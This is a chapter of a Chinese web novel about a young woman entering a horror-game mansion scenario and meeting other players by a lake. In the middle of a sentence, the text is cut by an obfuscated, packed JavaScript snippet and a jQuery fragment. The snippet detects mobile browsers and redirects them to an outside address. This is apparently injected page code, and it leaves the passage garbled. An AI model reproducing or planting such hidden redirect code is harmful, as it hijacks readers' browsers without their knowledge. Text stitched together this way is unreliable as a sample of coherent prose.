马车轱辘碾过林中道路上一个深坑,狠狠颠簸了一下。
意料之中的,车厢内传来“砰”的一声闷响。
赶车的年老仆人微微侧脸,手上仍然把控缰绳,蒙尘玻璃珠般无神的眼球却从眼眶正中滑至最左,定格在遮蔽了车窗的陈旧天鹅绒窗帘上。
仿佛有谁正借由这双晦暗的眼,穿透阻碍看清昏暗车厢内漂亮女客的情状。
弥央撞伤了左前额。
她原先昏睡着,马车突然颠簸,她自然维系不住身体的平衡,撞在了硬木质地的车厢壁上。
瓷白肌肤上漫开的一片淤青看起来颇为严重,可她天性迟钝,没能感受到多少疼痛,连小小的痛呼都欠奉,只有生理性的泪水在她浅蓝瞳孔前聚起浅浅一层雾气。
视线有点模糊。
她不太习惯,缓慢眨动长长的睫羽,思绪仍然混沌。
听车轱辘的转动声没有停止,想来还没有抵达目的地——没其他可做的,不然再睡一觉好了。
弥央轻飘飘地思量着,眼前朦胧的水雾凝成液体,盛不住的泪珠蜿蜒至柔和的下颌线坠落,在脸颊留下两道湿痕。
这种沉湎醒与未醒的倦怠感,落进暗中窥视者眼中,成了饱含脆弱感的委屈。
老仆干瘪的嘴角扬起和外表年龄不相符的讥诮弧度。
车厢内的少女该受的折磨远不止于此,谁让她胆大包天,竟敢在副本外使伎俩,强迫副本boss对她生出痴迷。
怪物们可没有堪称为爱的正面情绪,只会痛恨自身不受控,残忍地报复她。
观赏完她的泪水当作开胃菜,像是有什么从他身上抽离,老仆变回了死气沉沉的样子。
他曲起枯瘦的手指,指节敲击窗帘后的玻璃,喉咙里熟练地挤出一段话:“弥央小姐,请您确认邀请函是否在身边。宅邸规矩严,客人需要持有邀请函,经过检查才能入内。”
他话落,系统提示音随即响起。
【主线任务已更新】
【请查看你的邀请函,确认受邀做客的相关信息。】
弥央“唔”地应了老仆的提醒,坐正身体静了一会儿,清醒了些,慢吞吞补上一句“谢谢”。
装有邀请函的信封先前一直搁置在她膝上,由于刚才的颠簸掉到了座椅下面。
幸好车厢不大,弥央拉开侧边窗帘,视线扫视周围,借着光看见了信封的一角,俯下身去捡。
如藻般披散的长发顺应重力荡向她身前,却在半途中像是穿插过一只宽大的手掌,经由指缝梳理才重获自由。
于她而言,这一阵酥麻似乎比疼痛更易于在身体扩散。
弥央轻轻皱起眉,咬住口腔内险些跟随战栗的绵软腮肉,缩了缩脖子,困惑地转头看向半空。
马车内的乘客只有她一个人,映进她眼中只有虚无一团空气。
就算仔细看,也至多能从刚刚投入车厢的光中分辨出弥散开的浮尘。
不存在谁的手。
稍作回味,其实头皮感受到的拉扯感短暂轻微如同错觉,或许是马车太老旧,有风从车窗玻璃与窗框钻进来淌过她的头发也说不定。
她没继续深究,按原计划俯低身体,伸手向信封的位置。
伴随她摸索的动作,背脊两侧不常显露在外的肩胛骨如同蝴蝶般慢慢振翅,自帝政风丝绸裙装的领口叫人察觉到些许生机盎然的动静。
可惜不等观众下定决心捕获,蛊惑的蝶舞稍纵即逝。
拾起信封的小美人纵容自己软软靠回椅背,杜绝了任何异常情况的发生。
密闭空间里的空气微妙地凝滞了一瞬。
弥央对周遭氛围隐秘的变化一无所觉。
修剪圆润的指甲划过已经留有开启痕迹的火漆,取出了邀请函。
内容没什么特别的。
满满一张纸的长篇大论,撇除华美的修辞和引申的诗歌,意思大概就是辛克莱家族历史悠久、底蕴深厚,现任家主友善好客,听说他们之后,想要见他们,因而邀请他们来林中宅邸做客参观。
通篇过于炫技的花体字不太适合阅读。
弥央艰难地看完,视线停驻在最后与前文不同的签名上,耸起的秀眉终于舒展开。
“埃德蒙_辛克莱。”
字母之间的倾斜角度协调,赏心悦目。
d字母尾笔的小勾设计得也很妙,让这个严肃古老得有些腐朽的名字变得生动起来。
欣赏完这个符合自己审美的签名,将将合上邀请函时,弥央发现马车停下了。
仆人问道:“弥央小姐,客人们似乎都聚在了湖边,您想下车和他们先见一见吗?”
弥央愣了愣,侧过脸,向窗外看去。
果然,湖泊旁修建有一个木质观景台,四位服饰不一的客人分散在观景台上。
有正在闲散抽雪茄的,有正倚着围栏出神思考的,还有一位拿着钓竿正悠闲钓鱼。
唯一的女客双臂环胸立在钓者旁边,却似乎对钓鱼并不感兴趣,不时左右张望。
注意到停下的马车和窗口处的弥央,她眼睛一亮,明媚的笑容绽放在脸上,当即提着裙摆快步跑了过来。
她叩响车门,欢快地问候道:“你好你好你好,我叫沈栗。刚才只有我一个女客,我都要尴尬死了,现在我们可以一起等最后一个人了!”
弥央之所以没有立刻下车,是因为不太擅长人际交往,但沈栗亲自来敲门,她也不会不近人情到故意无视他人的热情。
打开车门,藕色的绑带羊皮低跟鞋点过脚踏,轻盈地踩实在草地上,她迟疑地措辞回应道:“你好,我是弥央。”
招呼的话语有些生硬,可天籁般的嗓音足够弥补所有缺陷。
湖畔的微风拂过她的面颊,初春暖意不足的阳光流淌在她淡金色的长发上,熠熠生辉。
马车特制的窗户玻璃自外而内看不清晰,沈栗原先只是望见弥央隐隐绰绰的柔美轮廓,没预想到会陡然见到这样一张精致不似真人的面容。
潋滟水色的眼眸如同揉碎极光的冰川,专注注视她时只倒映她一人的身影,几乎令她沉溺其中,一时窒息难以自拔。
想好的话语莫名都说不出口,哑在了喉咙里,沈栗结结巴巴地回道:“好,嗯,我很好……走吧,我们去观景台那边说话。”
观景台上的三位男玩家看站位,除开钓鱼的银发青年,似乎是相识的熟人。
沈栗尝试过向他们搭话,可惜两人表现得很冷淡。
为了不显得形单影只,她只好凑到钓鱼人旁边,稍微认识了一下。
领回弥央,她凌乱的心跳恢复正常,含着自得炫耀说:“加西亚,快别钓你的鱼了,瞧,我带回来的妹妹,叫弥央哦!”
一身利落咖色马甲马裤的青年依言回首,看向沉静的小美人。
没有表露出初见美丽容颜的惊艳,加西亚的视线反倒在弥央的左额停留。
旁人不仔细观察,第一时间更容易被她清透的眼眸吸引住,可被额发遮挡大半的淤伤落进他眼中还是太鲜明。
白璧微瑕,他忍不住皱了下眉。
沈栗狐疑地问:“怎么回事,你看不得央央这种漂亮妹妹?”
意识到自己的态度有异,加西亚舒展眉宇,耸肩否认了。
沈栗正等待听他解释皱眉的因由,却看见湖面倏忽间震荡起来。
不知道是什么东西咬了钩,动作间搅出一个巨大的漩涡。
质量极佳的钓竿弯成惊心动魄的弧度,翻涌的湖水直往观景台上泼来。
弥央对存在于水面下的怪物没太大感触,但想了一下弄湿衣裙的麻烦,还是抿唇向后退了半步。
不幸的是,她踏过的地面覆盖有一层未清理的厚厚苔藓,鞋底猝然打滑。
预料到自己会后仰重重摔倒,弥央合起眼,准备接受受伤的结果。
然而手腕被扣住,鱼线崩断的锐响擦着耳际掠过,潮湿的冷杉气息扑面而来,弥央被不容
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628451|172499||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
置疑的力道拉扯,踉跄着撞进加西亚的怀里。
“当心脚下。”
他声音温和,绅士地提醒她后,扶她站稳离开自己的胸膛,依然锁住她手腕的右手却似有若无地摩挲着她细腻的肌肤。
皮革质半掌手套的触感怪异而冰凉,引起她轻微的颤抖。
加西亚灰绿色的虹膜在落下的树影里黯成一片深色,弥央抬眸看了一会儿,仿佛没察觉其中玩味的恶意,并不尝试挣脱,点头道了声谢。
“喂,我是不是警告过你们,不要轻举妄动!”
来自其他男人的怒斥声打破了他们旁若无人的相处。
是先前抽雪茄的中年男人。
在他身前,拉张到极限的弓弦上架有一支半透明的箭,瞄准的对象从渐渐消失的漩涡转为加西亚,也不在意连带误伤在加西亚旁边的弥央。
湖里的怪物是随鱼线崩断没影儿了,可招来怪物的人还在呢。
他被湖里的动静吓得箭都费力气造出来了,心里憋着把火,总不能白白吃亏。
沈栗第一个出声劝阻:“谁想得到钓鱼会搞出这么大动静啊,加西亚又不是故意的,你快放下弓箭吧,还有可能误伤到央央呢!”
作为当事人的加西亚瞧向锋锐箭矢前端的寒光,反倒无视威胁,把弥央拉得和自己更近了些,勾着唇角问:“看样子要被攻击了,怕不怕?”
小美人茫然地摇头。
见他仍然盯着自己不放,似乎并不满意这样简单的表态,便慢吞吞地回忆邀请函上的内容,不确定地问:“不是说辛克莱家族的家主想要见我们才邀请我们来,客人们先内斗也可以吗?”
当然不可以。
弥央有仆人接来宅邸,其他人的待遇也相同。
客人们聚在观景台闲谈时,负责他们的仆人们停好马车后便各自隐于树林的阴影中。
无声无息的,几乎被遗忘。
可仆人们得到的命令是把客人们带去宅邸,如果放任客人们内斗死伤,就没法给家主交代了。
因此,在中年男人举弓对向加西亚时,五名仆人已经安静地向他靠近。
从他们的神出鬼没来看,拦住箭的同时肯定还能顺便制服射箭的危险源。
“好了,陆丰,生气吓唬吓唬人就得了,同被邀请做客也算缘分,别闹大了。”一直旁观无言的眼镜男适时开口,给同伴铺好台阶。
然后他走上前,眼神扫视向三人,在弥央的脸上停留片刻,没多说什么,自我介绍道:“认识一下吧,我叫杰森。”
他和陆丰都是历练恐怖游戏副本的老手,看过邀请函,自然清楚现在不能内斗。
用箭对准加西亚,真正打的主意是逼迫他服软,为陆丰一天只能无偿召唤一次的箭矢提供补偿。
可惜没成功。
眼看仆人们围拢过来,陆丰恨恨瞪了一眼加西亚,再不甘愿也只好对着天空空放掉箭矢,重新背起长弓。
内讧的威胁解除,仆人们不参与客人间的交流,纷纷退回先前匿踪的位置。
氛围勉强恢复正常。
陆丰和杰森回到先前那一侧继续密谈。
沈栗挽住弥央的手臂,絮絮讲对林中宅邸的揣测,得来一两个轻轻的“嗯”作回应也很高兴。
加西亚站在弥央身侧,一边听她们没什么营养的对话,一边百无聊赖地望向道路尽头,似乎是在等待最后一人的到来。
应该没有谁在盯着弥央看,偏偏她感受到强烈到几乎具象化的注视。
可她的身后,明明是平静的湖水。
难道是先前翻涌起大浪的湖中怪物在盯着她吗?
大约过了一刻钟,最后一辆载客的马车终于驶来了。
看清下车的是谁,沈栗放开弥央,惊喜地迎过去:“苏姐姐,太好了,我们分到了一起!”
“哎呀。”加西亚向弥央靠近一步,装模作样地为她叹息道,“沈栗小姐也有熟人,央央你要成落单的小可怜了。”